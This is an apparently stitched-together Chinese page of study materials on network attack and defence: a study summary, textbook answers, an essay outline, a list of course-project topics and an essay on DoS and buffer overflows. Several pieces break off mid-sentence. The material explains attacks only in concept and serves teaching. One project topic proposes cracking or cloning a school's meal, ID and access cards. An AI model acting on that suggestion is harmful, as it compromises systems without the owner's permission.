网络黑客攻防技术的学习总结 一、背景介绍 随着互联网的高速发展,计算机网络已经成为人们日常生活中不可或缺的一部分。计算机网络在给我们提供了大量生活便利的同时也带来了越来越严重的网络安全问题。在对我们网络的安全威胁中一个很主要的威胁来自于黑客。 网络黑客利用通信软件,非法进行网络操作,盗取别人的私人信息,篡改计算机数据,危害信息安全,甚至造成十分严重的经济后果。随着黑客活动的日益猖獗,信息安全问题越来越多地被各级政府和网络管理部门提到重要议事日程上来。然而许多上网的用户对网络安全却抱着无所谓的态度,认为最多不过是被“黑客”盗用账号,他们往往会认为“安全”只是针对那些大中型企事业单位的,而且黑客与自己无怨无仇,干嘛要攻击自己呢?其实,在一无法纪二无制度的虚拟网络世界中,现实生活中所有的阴险和卑鄙都表现得一览无余,在这样的信息时代里,几乎每个人都面临着安全威胁,都有必要对网络安全有所了解,并能够处理一些安全方面的问题,那些平时不注意安全的人,往往在受到安全方面的攻击,付出惨重的代价时才会后悔不已。为了把损失降低到最低限度,我们一定要有安全观念,并掌握一定的安全防范措施,坚决让黑客无任何机会可趁。黑客攻击网络的手段十分丰富,令人防不胜防。只有分析和研究黑客活动的手段和采用的技术,才有可能从根本上防止甚至杜绝黑客对我们进行网络入侵。 二、网络入侵 1.黑客攻击的一般过程 2.常用的攻击技术

2.1缓存区溢出攻击 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。 图1整数溢出攻击 在黑客的攻击活动中,利用缓冲区溢出安全漏洞发起的攻击占了远程网络攻击的绝大多数。这种漏洞的严重性,在于可以使得一个匿名的互联网用户有机会获得一台主机的部分或全部的控制权。缓冲区溢出攻击之所以成为一种常见的攻击手段,原因在于缓冲区溢出漏洞太普遍,对它的利用易于实现。缓冲区溢出漏洞给予了攻击者所希望的一切:植入攻击代码并且执行代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,进而取得被攻击系统的控制权。为了达到利用缓冲区溢出漏洞进行攻击的目的,攻击者必须实现这样两个目标:在程序的地址空间里安排适当的代码;通过适当地初始化寄存器和存储器,让程序跳转到精心安排的地址空间执行。 2.2WEB欺骗 在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑客服务器发出请求,那么黑客就可以达到欺骗的目的了。 2.3电子邮件攻击 电子邮件攻击主要表现为两种方式:一是电子邮件轰炸和电子邮件“滚雪球”,也就是通常所说的邮件炸弹,指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被“炸”,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;二是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件

计算机网络安全教程第2版--亲自整理最全课后答案

第1章网络安全概述与环境配置 一、选择题 1. 狭义上说的信息安全,只是从自然科学的角度介绍信息安全的研究内容。 2. 信息安全从总体上可以分成5个层次,密码技术是信息安全中研究的关键点。 3. 信息安全的目标指的是机密性,完整性,可用性。 4. 1999年10月经过国家质量技术监督局批准发布的《计算机信息系统安全保护等级划分准则》将计算机安全保护划分为以下5个级别。 二、填空题 1. 信息保障的核心思想是对系统或者数据的4个方面的要求:保护(),检测(),反应(),恢复()。 2. 目的是在计算和通信系统中广泛使用基于硬件安全模块支持下的可信计算平台,以提高整体的安全性。 3. 从1998年到2006年,平均年增长幅度达50%左右,使这些安全事件的主要因素是系统和网络安全脆弱性()层出不穷,这些安全威胁事件给带来巨大的经济损失。 4. B2级,又叫结构保护()级别,它要求计算机系统中所有的对象都要加上标签,而且给设备(磁盘、磁带和终端)分配单

个或者多个安全级别。 5. 从系统安全的角度可以把网络安全的研究内容分成两大体系:攻击和防御。 三、简答题 1. 网络攻击和防御分别包括哪些内容? 答:①攻击技术:网络扫描,网络监听,网络入侵,网络后门,网络隐身 ②防御技术:安全操作系统和操作系统的安全配置,加密技术,防火墙技术,入侵检测,网络安全协议。 2. 从层次上,网络安全可以分成哪几层?每层有什么特点? 答:从层次体系上,可以将网络安全分为4个层次上的安全:(1)物理安全特点:防火,防盗,防静电,防雷击和防电磁泄露。 (2)逻辑安全特点:计算机的逻辑安全需要用口令、文件许可等方法实现。 (3)操作系统特点:操作系统是计算机中最基本、最重要的软件。操作系统的安全是网络安全的基础。 (4)联网安全特点:联网的安全性通过访问控制和通信安全两方面的服务来保证。 3、为什么要研究网络安全? 答:目前研究网络安全已经不只为了信息和数据的安全性。网络安全已经渗透到国家的政治、经济、军事等领域,并影响到社会

黑客攻击与防范技术

黑客攻击与防范技术 目录 摘要 ........................................................................................................................................... - 2 - 绪论 ........................................................................................................................................... - 3 - 1.认识黑客................................................................................................................................... - 4 - 1.1黑客是什么.................................................................................................................... - 4 - 1.2黑客的分类.................................................................................................................... - 5 - 2.黑客攻击的常见方法............................................................................................................... - 6 - 2.1 木马............................................................................................................................... - 6 - 2.2 协议欺骗....................................................................................................................... - 7 - 2.3 口令攻击....................................................................................................................... - 7 - 3.黑客攻击的预防措施............................................................................................................... - 8 - 3.1隐藏IP ........................................................................................................................... - 8 - 3.2邮件自动回复功能需谨慎使用.................................................................................... - 8 - 3.3防止垃圾邮件................................................................................................................ - 9 - 4.黑客技术的应用思考............................................................................................................... - 9 - 总结 ........................................................................................................................................... - 10 - 参考文献.................................................................................................................................... - 11 -

网络攻防课程设计选题

网络攻防课程设计 1、课题目的:通过本课程设计的实施,掌握网络攻防技术的基本原理和方法,全面了解网络攻击与防范技术,掌握网络防范体系的相关内容,并具备对各种常见网络攻击进行基本防御的能力。 2、背景知识:巩固和运用所学的计算机网络、LINUX系统编程、操作系统、程序设计语言、密码学、信息对抗技术、网络攻防、网络管理与维护等各门专业基础和专业课程知识。 3、具体选题包括: ●网络攻防实验环境搭建和测试(个人) ●网络信息搜索与扫描技术实践(个人) ●无线加密破解实践与分析(个人或2人团队) ●解码一次网络扫描/扫描攻防对抗(个人或2人团队) ●TCP/IP网络协议栈攻击(个人) ●分析蜜网网关中防火墙与入侵检测系统配置规则(个人) ●Linux系统渗透攻防对抗(2人团队) ●Windows系统渗透攻防对抗(2人团队)

●分析一个恶意代码样本(2人团队) ●分析一个实际的Buffer Overflow漏洞(2人团队) ●SQL注入和XSS攻击(2人团队) ●网站挂马案例分析(2人团队) ●僵尸网络取证分析实践(2人团队) 1、破解RFID 射频识别即RFID (Radio Frequency Identification), 一套RFID 系统至少由两部分:应答器(Transponder)、询问器(Interrogator)or 阅读器(Reader)。 选题要求:了解RFID的背景及理论知识,学习ID/IC等卡的破解、全复制等技术,尝试对学校饭卡、一卡通、门禁卡等进行破解或复制。参考资料:google:radiowar or RFID破解 2、无线破解 选题要求:了解常见无线加密方式如:WEP/WPA/WPA2,通过学习各种协议相关弱点,尝试对每一种加密协议加密的无线密码进行破解。 3、密码学中的攻击(Padding Oracle Attack) https://www.360docs.net/doc/3c1063162.html,的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。 选题要求:了解CBC模式及DES加密,进而深入解析Padding oracle

网络信息安全的攻击与防护

目录 一.生活中黑客常用的攻击技术 (1) 2.拒绝服务攻击 (2) 3.缓冲区溢出 (2) 二.生活中常见的网络防御技术3 1.常见的网络防御技术 (3) 1.防火墙技术 (3) 2.访问控制技术 (4) 三.总结 (5) 一.生活中黑客常用的攻击技术 黑客攻击其实质就是指利用被攻击方信息系统自身存在安全漏洞,通过使用网络命令和专用软件进入对方网络系统的攻击。目前总结出黑客网络攻击的类型主要有以下几种: 1.对应用层攻击。 应用层攻击能够使用多种不同的方法来实现,最常见的方法是使用服务器上通常可找到的应用软件(如SQL Server、PostScript和FTP)缺陷,通过使用这些缺

陷,攻击者能够获得计算机的访问权,以及在该计算机上运行相应应用程序所需账户的许可权。 应用层攻击的一种最新形式是使用许多公开化的新技术,如HTML规范、Web 浏览器的操作性和HTTP协议等。这些攻击通过网络传送有害的程序,包括Java applet和Active X控件等,并通过用户的浏览器调用它们,很容易达到入侵、攻击的目的。 2.拒绝服务攻击 拒绝服务(Denial of Service, DoS)攻击是目前最常见的一种攻击类型。从网络攻击的各种方法和所产生的破坏情况来看,DoS算是一种很简单,但又很有效的进攻方式。它的目的就是拒绝服务访问,破坏组织的正常运行,最终使网络连接堵塞,或者服务器因疲于处理攻击者发送的数据包而使服务器系统的相关服务崩溃、系统资源耗尽。 攻击的基本过程如下:首先攻击者向服务器发送众多的带有虚假地址的请求,服务器发送回复信息后等待回传信息。由于地址是伪造的,所以服务器一直等不到回传的消息,然而服务器中分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后,连接会因超时而被切断,攻击者会再度传送新的一批请求,在这种反复发送伪地址请求的情况下,服务器资源最终会被耗尽。 被DDoS攻击时出现的现象主要有如下几种。被攻击主机上有大量等待的TCP 连接。网络中充斥着大量的无用的数据包,源地址为假。制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通信。利用受害主机提供的服务或传输协议上的缺陷,反复高速地发出特定的服务请求,使受害主机无法及时处理所有正常请求。严重时会造成系统死机。要避免系统遭受Do S攻击,网络管理员要积极谨慎地维护整个系统,确保无安全隐患和漏洞,而针对更加恶意的攻击方式则需要安装防火墙等安全设备过滤D O S攻击,同时建议网络管理员定期查看安全设备的日志,及时发现对系统构成安全威胁的行为。 3.缓冲区溢出 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令。如果这些指令是放在有Root权限的内存中,那么一旦这些指令得到了运行,黑客就以Root权限控制了系统,达到入侵的目的;缓冲区攻击的目的在于扰乱某些以特权身份运行的程序的功能,使攻击者获得程序的控制权。 缓冲区溢出的一般攻击步骤为:在程序的地址空间里安排适当的代码——通过适当的地址初始化寄存器和存储器,让程序跳到黑客安排的地址空间中执行。缓冲区溢出对系统带来了巨大的危害,要有效地防止这种攻击,应该做到以下几点。必须及时发现缓冲区溢出这类漏洞:在一个系统中,比如UNIX操作系统,这类漏洞是非常多的,系统管理员应经常和系统供应商联系,及时对系统升级以堵塞缓冲区溢出漏洞。程序指针完整性检查:在程序指针被引用之前检测它是否改变。即便一个攻击者成功地改变了程序的指针,由于系统事先检测

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